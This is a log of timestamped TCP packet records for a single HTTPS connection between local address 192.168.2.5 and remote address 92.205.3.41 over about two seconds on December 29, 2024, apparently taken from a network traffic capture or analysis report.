Dec 29, 2024 09:04:53.987894058 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:53.989264965 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:53.989335060 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:53.991384029 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:53.991453886 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:53.992841959 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:53.992912054 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:53.994143963 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:53.994209051 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:53.995728016 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:53.995798111 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:53.997731924 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:53.997801065 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:53.999209881 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:53.999279022 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.176471949 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.176587105 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.177388906 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.177551031 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.178878069 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.179131985 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.180970907 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.181035042 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.182449102 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.182517052 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.183959007 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.184030056 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.185415983 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.185486078 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.186878920 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.186939955 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.188395023 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.188461065 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.190466881 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.190547943 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.192022085 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.192085028 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.193484068 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.193552017 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.195369959 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.195446968 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.196839094 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.196912050 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.198375940 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.198442936 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.199913025 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.199975967 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.201337099 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.201399088 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.377851963 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.378129959 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.379935026 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.380018950 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.381484032 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.381555080 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.382949114 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.383021116 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.384562016 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.384633064 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.385864019 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.385936022 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.388026953 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.388103008 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.389477968 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.389547110 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.391005993 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.391071081 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.392478943 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.392546892 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.393913984 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.393982887 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.396095037 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.396164894 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.397411108 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.397483110 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.398793936 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.398863077 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.400290012 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.400356054 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.402403116 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.402470112 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.579083920 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.579360962 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.580661058 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.580738068 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.582073927 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.582165956 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.583509922 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.583584070 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.585048914 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.585128069 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.587116957 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.587196112 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.588638067 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.588706970 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.590153933 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.590225935 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.591546059 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.591617107 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.593080997 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.593148947 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.595150948 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.595220089 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.596646070 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.596718073 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.597894907 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.597959042 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.599478960 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.599628925 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.601531029 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.601604939 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.603058100 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.603132010 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.780148983 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.780247927 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.781409025 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.781486034 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.782886982 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.782960892 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.784337044 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.784405947 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.786731958 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.786807060 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.787966967 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.788034916 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.789479017 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.789546967 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.790920973 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.790992022 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.792393923 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.792458057 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.793885946 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.793956995 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.796029091 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.796099901 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.797561884 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.797629118 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.798820019 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.798891068 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.801050901 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.801122904 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.802781105 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.802849054 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.804054022 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.804122925 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.805360079 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.805422068 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.982436895 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.982553005 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.983892918 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.984064102 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.985398054 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.985465050 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.986866951 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.986932993 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.988317013 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.988382101 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.989813089 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.989887953 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.991919041 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.992000103 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.993416071 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.993485928 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.994910955 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.994972944 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.996392012 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.996459007 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.997859001 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.997929096 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:54.999810934 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:54.999876976 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.001282930 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.001349926 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.002733946 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.002798080 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.004242897 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.004309893 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.006372929 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.006434917 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.183002949 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.183080912 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.184581041 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.184644938 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.186002970 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.186065912 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.187448025 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.187509060 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.189599991 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.189671040 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.191052914 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.191117048 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.192580938 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.192647934 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.194062948 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.194134951 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.195517063 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.195584059 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.197117090 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.197187901 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.199116945 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.199174881 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.200699091 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.200767994 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.201862097 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.201931953 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.204004049 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.204068899 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.205480099 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.205538988 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.207010031 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.207077026 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.384358883 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.384576082 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.385210037 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.385380030 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.386679888 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.386751890 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.388770103 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.388842106 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.390259027 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.390326977 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.391813993 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.391881943 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.393244982 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.393309116 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.394761086 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.394823074 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.396851063 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.396923065 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.398297071 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.398360968 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.399876118 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.399945021 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.401303053 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.401365995 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.403179884 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.403248072 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.404752970 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.404824018 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.406145096 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.406212091 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.407670021 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.407733917 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.409312010 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.409379005 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.586487055 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.586587906 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.587958097 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.588052034 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.589449883 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.589528084 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.590955973 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.591042042 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.592411995 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.592490911 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.593903065 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.593985081 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.596004963 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.596098900 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.597527981 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.597605944 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.599036932 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.599102020 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.600465059 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.600559950 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.601941109 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.602035046 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.603939056 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.604011059 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.605335951 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.605410099 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.606858015 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.606928110 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.608942032 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.609009981 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.610415936 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.610492945 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.787147999 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.787245035 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.788584948 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.788667917 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.790122986 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.790199995 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.791553020 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.791619062 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.793663979 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.793734074 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.795169115 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.795258045 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.796745062 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.796809912 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.798130035 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.798197031 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.799592972 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.799654961 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.801738024 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.801811934 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.803195000 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.803258896 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.804550886 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.804615021 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.805943966 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.806008101 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.808094978 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.808160067 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.809566975 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.809639931 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.811072111 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.811140060 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.988183022 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.988500118 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.989453077 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.989536047 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.990889072 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.990962029 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.992454052 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.992527962 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.994467974 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.994530916 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.996006966 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.996077061 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.997472048 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.997536898 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:55.998969078 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:55.999031067 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:56.000416040 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:56.000477076 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:56.002563000 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:56.002629995 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:56.004056931 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:56.004126072 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:56.006166935 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:56.006233931 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:56.007179976 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:56.007244110 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:56.008945942 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:56.009005070 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:56.010394096 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:56.010451078 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:56.011854887 CET	443	49710	92.205.3.41	192.168.2.5
